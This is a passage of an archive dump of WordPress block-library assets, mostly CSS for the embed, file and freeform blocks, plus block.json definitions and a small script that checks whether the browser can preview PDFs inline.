.wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}blocks/embed/theme.css000064400000000302151202620300010673 0ustar00.wp-block-embed figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-embed figcaption{ color:hsla(0,0%,100%,.65); } .wp-block-embed{ margin:0 0 1em; }blocks/embed/theme-rtl.min.css000064400000000252151202620300012260 0ustar00.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}.wp-block-embed{margin:0 0 1em}blocks/embed/editor.css000064400000001264151202620300011067 0ustar00.wp-block-embed{ clear:both; margin-left:0; margin-right:0; } .wp-block-embed.is-loading{ display:flex; justify-content:center; } .wp-block-embed .components-placeholder__error{ word-break:break-word; } .wp-block-embed .components-placeholder__learn-more{ margin-top:1em; } .block-library-embed__interactive-overlay{ bottom:0; left:0; opacity:0; position:absolute; right:0; top:0; } .wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{ max-width:360px; width:100%; } .wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{ min-width:280px; }blocks/embed/theme.min.css000064400000000252151202620300011461 0ustar00.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}.wp-block-embed{margin:0 0 1em}blocks/embed/style.min.css000064400000003064151202620300011523 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}blocks/embed/theme-rtl.css000064400000000302151202620300011472 0ustar00.wp-block-embed figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-embed figcaption{ color:hsla(0,0%,100%,.65); } .wp-block-embed{ margin:0 0 1em; }blocks/embed/editor-rtl.css000064400000001264151202620300011666 0ustar00.wp-block-embed{ clear:both; margin-left:0; margin-right:0; } .wp-block-embed.is-loading{ display:flex; justify-content:center; } .wp-block-embed .components-placeholder__error{ word-break:break-word; } .wp-block-embed .components-placeholder__learn-more{ margin-top:1em; } .block-library-embed__interactive-overlay{ bottom:0; left:0; opacity:0; position:absolute; right:0; top:0; } .wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{ max-width:360px; width:100%; } .wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{ min-width:280px; }blocks/embed/editor-rtl.min.css000064400000001156151202620300012450 0ustar00.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed .components-placeholder__learn-more{margin-top:1em}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}blocks/embed/style-rtl.css000064400000003271151202620300011540 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{ max-width:360px; width:100%; } .wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{ min-width:280px; } .wp-block-cover .wp-block-embed{ min-height:240px; min-width:320px; } .wp-block-embed{ overflow-wrap:break-word; } .wp-block-embed figcaption{ margin-bottom:1em; margin-top:.5em; } .wp-block-embed iframe{ max-width:100%; } .wp-block-embed__wrapper{ position:relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{ content:""; display:block; padding-top:50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe{ bottom:0; height:100%; left:0; position:absolute; right:0; top:0; width:100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{ padding-top:42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{ padding-top:50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{ padding-top:56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{ padding-top:75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{ padding-top:100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{ padding-top:177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{ padding-top:200%; }blocks/embed/style.css000064400000003271151202620300010741 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{ max-width:360px; width:100%; } .wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{ min-width:280px; } .wp-block-cover .wp-block-embed{ min-height:240px; min-width:320px; } .wp-block-embed{ overflow-wrap:break-word; } .wp-block-embed figcaption{ margin-bottom:1em; margin-top:.5em; } .wp-block-embed iframe{ max-width:100%; } .wp-block-embed__wrapper{ position:relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{ content:""; display:block; padding-top:50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe{ bottom:0; height:100%; left:0; position:absolute; right:0; top:0; width:100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{ padding-top:42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{ padding-top:50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{ padding-top:56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{ padding-top:75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{ padding-top:100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{ padding-top:177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{ padding-top:200%; }blocks/file/block.json000064400000001457151202620300010723 0ustar00{ "apiVersion": 2, "name": "core/file", "category": "media", "attributes": { "id": { "type": "number" }, "href": { "type": "string" }, "fileName": { "type": "string", "source": "html", "selector": "a:not([download])" }, "textLinkHref": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "href" }, "textLinkTarget": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "target" }, "showDownloadButton": { "type": "boolean", "default": true }, "downloadButtonText": { "type": "string", "source": "html", "selector": "a[download]" } }, "supports": { "anchor": true, "align": true }, "editorStyle": "wp-block-file-editor", "style": "wp-block-file" } blocks/file/editor.min.css000064400000001274151202620300011515 0ustar00.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em}blocks/file/style-rtl.min.css000064400000001203151202620300012156 0ustar00.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-right:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}blocks/file/editor.css000064400000001422151202620300010726 0ustar00.wp-block-file{ align-items:center; display:flex; flex-wrap:wrap; justify-content:space-between; margin-bottom:0; } .wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{ height:auto; } .wp-block-file .components-resizable-box__container{ margin-bottom:1em; } .wp-block-file .wp-block-file__preview{ height:100%; margin-bottom:1em; width:100%; } .wp-block-file .wp-block-file__preview-overlay{ bottom:0; left:0; position:absolute; right:0; top:0; } .wp-block-file .wp-block-file__content-wrapper{ flex-grow:1; } .wp-block-file a{ min-width:1em; } .wp-block-file a:not(.wp-block-file__button){ display:inline-block; } .wp-block-file .wp-block-file__button-richtext-wrapper{ display:inline-block; margin-left:.75em; }blocks/file/view.min.asset.php000064400000000124151202620300012307 0ustar00 array(), 'version' => '8a0237493a27c0d781aa'); blocks/file/view.js000064400000004600151202620300010237 0ustar00"use strict"; (self["__WordPressPrivateInteractivityAPI__"] = self["__WordPressPrivateInteractivityAPI__"] || []).push([[81],{ /***/ 149: /***/ (function(__unused_webpack_module, __unused_webpack___webpack_exports__, __webpack_require__) { // EXTERNAL MODULE: ./node_modules/@wordpress/interactivity/src/index.js + 15 modules var src = __webpack_require__(754); ;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/file/utils/index.js /** * Uses a combination of user agent matching and feature detection to determine whether * the current browser supports rendering PDFs inline. * * @return {boolean} Whether or not the browser supports inline PDFs. */ const browserSupportsPdfs = () => { // Most mobile devices include "Mobi" in their UA. if (window.navigator.userAgent.indexOf('Mobi') > -1) { return false; } // Android tablets are the noteable exception. if (window.navigator.userAgent.indexOf('Android') > -1) { return false; } // iPad pretends to be a Mac. if (window.navigator.userAgent.indexOf('Macintosh') > -1 && window.navigator.maxTouchPoints && window.navigator.maxTouchPoints > 2) { return false; } // IE only supports PDFs when there's an ActiveX object available for it. if (!!(window.ActiveXObject || 'ActiveXObject' in window) && !(createActiveXObject('AcroPDF.PDF') || createActiveXObject('PDF.PdfCtrl'))) { return false; } return true; }; /** * Helper function for creating ActiveX objects, catching any errors that are thrown * when it's generated. * * @param {string} type The name of the ActiveX object to create. * @return {window.ActiveXObject|undefined} The generated ActiveXObject, or null if it failed. */ const createActiveXObject = type => { let ax; try { ax = new window.ActiveXObject(type); } catch (e) { ax = undefined; } return ax; }; ;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/file/view.js /** * WordPress dependencies */ /** * Internal dependencies */ (0,src/* store */.h)({ selectors: { core: { file: { hasPdfPreview: browserSupportsPdfs } } } }); /***/ }) }, /******/ function(__webpack_require__) { // webpackRuntimeModules /******/ var __webpack_exec__ = function(moduleId) { return __webpack_require__(__webpack_require__.s = moduleId); } /******/ var __webpack_exports__ = (__webpack_exec__(149)); /******/ } ]);blocks/file/style.min.css000064400000001202151202620300011356 0ustar00.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-left:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}blocks/file/editor-rtl.css000064400000001423151202620300011526 0ustar00.wp-block-file{ align-items:center; display:flex; flex-wrap:wrap; justify-content:space-between; margin-bottom:0; } .wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{ height:auto; } .wp-block-file .components-resizable-box__container{ margin-bottom:1em; } .wp-block-file .wp-block-file__preview{ height:100%; margin-bottom:1em; width:100%; } .wp-block-file .wp-block-file__preview-overlay{ bottom:0; left:0; position:absolute; right:0; top:0; } .wp-block-file .wp-block-file__content-wrapper{ flex-grow:1; } .wp-block-file a{ min-width:1em; } .wp-block-file a:not(.wp-block-file__button){ display:inline-block; } .wp-block-file .wp-block-file__button-richtext-wrapper{ display:inline-block; margin-right:.75em; }blocks/file/view.asset.php000064400000000124151202620300011525 0ustar00 array(), 'version' => '3fd0154de23a0ecc28af'); blocks/file/editor-rtl.min.css000064400000001275151202620300012315 0ustar00.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-right:.75em}blocks/file/view.min.js000064400000001201151202620300011013 0ustar00"use strict";(self.__WordPressPrivateInteractivityAPI__=self.__WordPressPrivateInteractivityAPI__||[]).push([[81],{149:function(i,t,e){var n=e(754);const o=i=>{let t;try{t=new window.ActiveXObject(i)}catch(i){t=void 0}return t};(0,n.h)({selectors:{core:{file:{hasPdfPreview:()=>!(window.navigator.userAgent.indexOf("Mobi")>-1)&&(!(window.navigator.userAgent.indexOf("Android")>-1)&&(!(window.navigator.userAgent.indexOf("Macintosh")>-1&&window.navigator.maxTouchPoints&&window.navigator.maxTouchPoints>2)&&!((window.ActiveXObject||"ActiveXObject"in window)&&!o("AcroPDF.PDF")&&!o("PDF.PdfCtrl"))))}}}})}},function(i){var t;t=149,i(i.s=t)}]);blocks/file/style-rtl.css000064400000001312151202620300011375 0ustar00.wp-block-file{ box-sizing:border-box; } .wp-block-file:not(.wp-element-button){ font-size:.8em; } .wp-block-file.aligncenter{ text-align:center; } .wp-block-file.alignright{ text-align:right; } .wp-block-file *+.wp-block-file__button{ margin-right:.75em; } :where(.wp-block-file){ margin-bottom:1.5em; } .wp-block-file__embed{ margin-bottom:1em; } :where(.wp-block-file__button){ border-radius:2em; display:inline-block; padding:.5em 1em; } :where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{ box-shadow:none; color:#fff; opacity:.85; text-decoration:none; }blocks/file/style.css000064400000001311151202620300010575 0ustar00.wp-block-file{ box-sizing:border-box; } .wp-block-file:not(.wp-element-button){ font-size:.8em; } .wp-block-file.aligncenter{ text-align:center; } .wp-block-file.alignright{ text-align:right; } .wp-block-file *+.wp-block-file__button{ margin-left:.75em; } :where(.wp-block-file){ margin-bottom:1.5em; } .wp-block-file__embed{ margin-bottom:1em; } :where(.wp-block-file__button){ border-radius:2em; display:inline-block; padding:.5em 1em; } :where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{ box-shadow:none; color:#fff; opacity:.85; text-decoration:none; }blocks/freeform/block.json000064400000000432151202620300011601 0ustar00{ "apiVersion": 2, "name": "core/freeform", "category": "text", "attributes": { "content": { "type": "string", "source": "html" } }, "supports": { "className": false, "customClassName": false, "reusable": false }, "editorStyle": "wp-block-freeform-editor" } blocks/freeform/editor.min.css000064400000023353151202620300012405 0ustar00.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{margin-left:0;padding-left:2.5em}.wp-block-freeform.block-library-rich-text__tinymce blockquote{border-left:4px solid #000;box-shadow:inset 0 0 0 0 #ddd;margin:0;padding-left:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;white-space:pre-wrap}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{background:#e5f5fa;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;margin:0 -2px;padding:0 2px}.wp-block-freeform.block-library-rich-text__tinymce code{background:#f0f0f0;border-radius:2px;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:14px;padding:2px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-position:50%;background-repeat:no-repeat;background-size:1900px 20px;cursor:default;display:block;height:20px;margin:15px auto;outline:0;width:96%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{margin:0;padding-top:.5em}.wp-block-freeform.block-library-rich-text__tinymce .wpview{border:1px solid transparent;clear:both;margin-bottom:16px;position:relative;width:99.99%}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{background:transparent;display:block;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{word-wrap:break-word;border:1px solid #ddd;margin:0;padding:1em 0}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;font-size:32px;height:32px;margin:0 auto;width:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{clear:both;content:"";display:table}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{line-height:1;margin:auto -6px;overflow-x:hidden;padding:6px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{box-sizing:border-box;float:left;margin:0;padding:6px;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{border:none;height:auto;max-width:100%;padding:0}div[data-type="core/freeform"]:before{border:1px solid #ddd;outline:1px solid transparent;transition:border-color .1s linear,box-shadow .1s linear}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-delay:0s;transition-duration:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{clear:both;content:"";display:table}.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:8px;margin-right:0}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{border:1px solid #ddd;border-bottom:none;border-radius:2px;display:none;margin:0 0 8px;padding:0;position:sticky;top:0;width:auto;z-index:31}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{border-color:#1e1e1e;display:block}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{background:#f5f5f5;border-bottom:1px solid #e2e4e7;display:block}.block-library-classic__toolbar:empty:before{color:#555d66;content:attr(data-placeholder);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px}blocks/freeform/editor.css000064400000025036151202620300011623 0ustar00.wp-block-freeform.block-library-rich-text__tinymce{ height:auto; } .wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{ line-height:1.8; } .wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{ margin-left:0; padding-left:2.5em; } .wp-block-freeform.block-library-rich-text__tinymce blockquote{ border-left:4px solid #000; box-shadow:inset 0 0 0 0 #ddd; margin:0; padding-left:1em; } .wp-block-freeform.block-library-rich-text__tinymce pre{ color:#1e1e1e; font-family:Menlo,Consolas,monaco,monospace; font-size:15px; white-space:pre-wrap; } .wp-block-freeform.block-library-rich-text__tinymce>:first-child{ margin-top:0; } .wp-block-freeform.block-library-rich-text__tinymce>:last-child{ margin-bottom:0; } .wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{ outline:none; } .wp-block-freeform.block-library-rich-text__tinymce a{ color:var(--wp-admin-theme-color); } .wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{ background:#e5f5fa; border-radius:2px; box-shadow:0 0 0 1px #e5f5fa; margin:0 -2px; padding:0 2px; } .wp-block-freeform.block-library-rich-text__tinymce code{ background:#f0f0f0; border-radius:2px; color:#1e1e1e; font-family:Menlo,Consolas,monaco,monospace; font-size:14px; padding:2px; } .wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{ background:#ddd; } .wp-block-freeform.block-library-rich-text__tinymce .alignright{ float:right; margin:.5em 0 .5em 1em; } .wp-block-freeform.block-library-rich-text__tinymce .alignleft{ float:left; margin:.5em 